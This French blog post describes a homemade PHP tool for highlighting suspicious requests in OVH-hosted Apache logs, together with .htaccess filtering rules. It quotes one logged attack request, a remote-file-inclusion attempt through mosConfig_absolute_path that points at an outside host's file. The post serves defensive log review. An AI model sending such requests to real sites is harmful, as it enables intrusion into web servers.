Analyser les logs Apache d'un site chez OVH

Appréciation moyenne:  / 14
Très mauvaisTrès bien 

Analyse simple des logs générés par le serveur Apache pour un site mutualisé OVH

Préambule:

depuis peu, je me suis penché sur la sécurité des sites web.
Pendant que je travaillais sur le htaccess, voir cet article, j'ai du régulièrement aller analyser le log web fourni par ovh.
Or, sa lecture est carrément inbuvable.

J'ai décidé de simplifier un peu tout ça, afin de ne ressortir que ce qui l'intéressait.

J'ai essayé de remonter les réponses http/400,401,403,404, et 410, ou certaines requêtes bizarres  que j'ai pu observer suite à des tentatives d'attaques standards, en me basant sur des expressions régulières de mon htaccess fini, et sur d'autres expressions prises dans divers composants comme sentinelle ou sh404sef.
Comme je découvre ces expressions régulières, il y a sans doute matière à optimiser, mais pour le moment ça me convient assez, remontant ce que je cherchais par ailleurs à la main...

c'est pas un truc de pro, c'est sans doute pas complet du tout, mais c'est complètement adapté à ce que je recherchais wink

ça peut servir peut-être à d'autres pour avoir une vue rapide de ce qui se passe dans leurs logs web.

ça se trouve ici, format compressé 7zip, à décompresser, analyser à l'antivirus, puis à envoyer dans un dossier quelconque sur son espace web:
http://www.tranquille-informatique.fr/perso/logs/

Utilisation:
 

D'abord, aller dans le fichier sites.txt pour y inscrire les sites ovh à analyser, un par ligne, voir les exemples à l'intérieur.
Ensuite, si on veut, on peut aller dans le code de logs.php aller mettre une valeur par défaut sur l'input relatif au nickhandle ovh.
Les plus fous mettront aussi leur mot de passe, mais pas moi...

Une fois fait, se positionner à partir de son navigateur dans le dossier contenant ces fichiers, et double-cliquer sur logs.php, etc.

Interprétations:

les logs en vert correspondent aux réponses en 400, 401 et 403, en vert car finalement elles sont le résultat attendu par le paramétrage du htaccess, donc ok.
En bleu, les réponses en 410 et 404 parce que ça n'est pas forcément une attaque, mais plutôt des erreurs, et ça peut rendre service.
En rouge, le reste, les expressions régulières capturent tout ce qui n'a pas été en réponse 400 etc, donc tout ce qui est potentiellement dangereux car non filtré par le htaccess.

La version actuelle surligne en jaune les chaines de caractères trouvées et qui ont générées la remontée de l'info, voir l'exemple ci-dessous:

Exemples

voilà une requête http remontée par le serveur chez ovh dans un fichier web log:



GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://3dcgfx.net/3dcgfx//modules/Forums/admin/xxx.txt?? HTTP/1.1 403

 

et voilà comment mon petit outil surligne:
GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://3dcgfx.net/3dcgfx//modules/Forums/admin/xxx.txt?? HTTP/1.1

on note l'attaque la plus commune que je remarque actuellement, celle appelant mosConfig_absolute_path, via un fichier php qui prendrait en paramètre quelque chose venant de l'url, en gros.
Ici il s'agit d'un fichier de virtuemart, qui contenait une faille corrigée si on est à jour de la version virtuemart à la date d'aujourd'hui (juin 2009)

Cette attaque est attrapée par le fichier .htaccess, s'il est bien configuré, avec cette ligne par exemple (il peut avoir d'autres syntaxes pour cette ligne, celle-ci étant la plus simple je pense, toute requête contenant mosConfig, quelque soit la casse (majuscules/minuscules) est captée:



RewriteCond %{QUERY_STRING} mosConfig_ [NC,OR]

La réponse du serveur est visible sur cette requête: code 403, forbidden, interdit

Cette réponse est programmée dans le htaccess via cette ligne:



RewriteRule ^(.*)$ - [F,L]

C'est le F qui positionne le Forbidden..., le reste de la ligne veut dire en gros, quelque soit la règle de recherche précédente, envoyer un interdit.

Avec mon petit outil, une ligne comme celle-là ressort en vert, car le htaccess a bien fait son travail.

Un htaccess qui ne capturerait pas cette requête renverrait, si le fichier export.php existe sur le serveur, un code 200.

Mon outil sortirait la ligne en rouge avec mosConfig_ surligné en jaune car ce type de requête devrait être capturée dès le htaccess à mon avis.

Conclusions

J'ai remarqué sur certains logs un peu volumineux un rafraichissement assez long de la page, mais comme ça n'est pas régulier, pour le moment je ne vois pas trop quoi changer dans le code.

Comme il y a régulièrement des problème de stockages des logs avec Ovh, mon outil recherche maintenant (début 2011) un fichier log du jour non compressé, puis le même compressé dans le même dossier, puis enfin le même compressé et archivé dans le dossier du mois en cours!
Et parfois, ça ne va plus au bout... j'ai beaucoup cherché, et je pense au final que ça vient du serveur ovh, les problèmes sont trop aléatoires et ça marche souvent...

Bref, il peut donc parfois y avoir des doublons parce qu'il arrive que l'archivage des logs chez OVH fonctionne mal et copie un fichier de log en archive compressée mais le laisse dans le dossier des logs bruts du jour... ceux qui pratiquent les logs ovh doivent savoir de quoi je parle

J'ai aussi rajouté un surlignage en fond rouge/texte blanc lorsque le nom host trouvé contient la chaine "ovh" ou "kimsufi".
Ainsi, d'un rapide coup d'oeil, je sais qu'un serveur ovh tente des attaques sur le mutu, et je peux donc prévenir abuse.

Février 2012:

ATTENTION, ce script nécessite une version mini de php.
Chez ovh, il faut modifier le fichier .htaccess en rajoutant cette directive:

SetEnv PHP_VER 5_4

j'ai amélioré la requête ajax, faudra que je fasse un article un jour car c'est puissant... et j'ai remis une petite couche sur la mise en page afin de mettre en évidence les heures de logs, c'est pratique pour ne pas revenir sur ce qu'on a déjà observé...
J'ai aussi refondu un peu le code php afin de l'optimiser, la première fois j'avais tout fait à l'arrache...
Maintenant, le log s'affiche en ordre inverse, les lignes les plus récentes d'abord, ça facilite la lecture.
enfin, j'ai basculé sur mootools 1.4.5

Si certains utilisent mon truc et qu'ils rencontrent des problèmes, ils peuvent me contacter, menu en haut à droite...

Voilà, bonne utilisation à ceux que ça tente, et me joindre sur les forums ou  à la rigueur par mail si problème.

voir cet article:

http://forum.joomla.fr/showthread.php?96855-Ovh-analyse-rapide-des-logs-web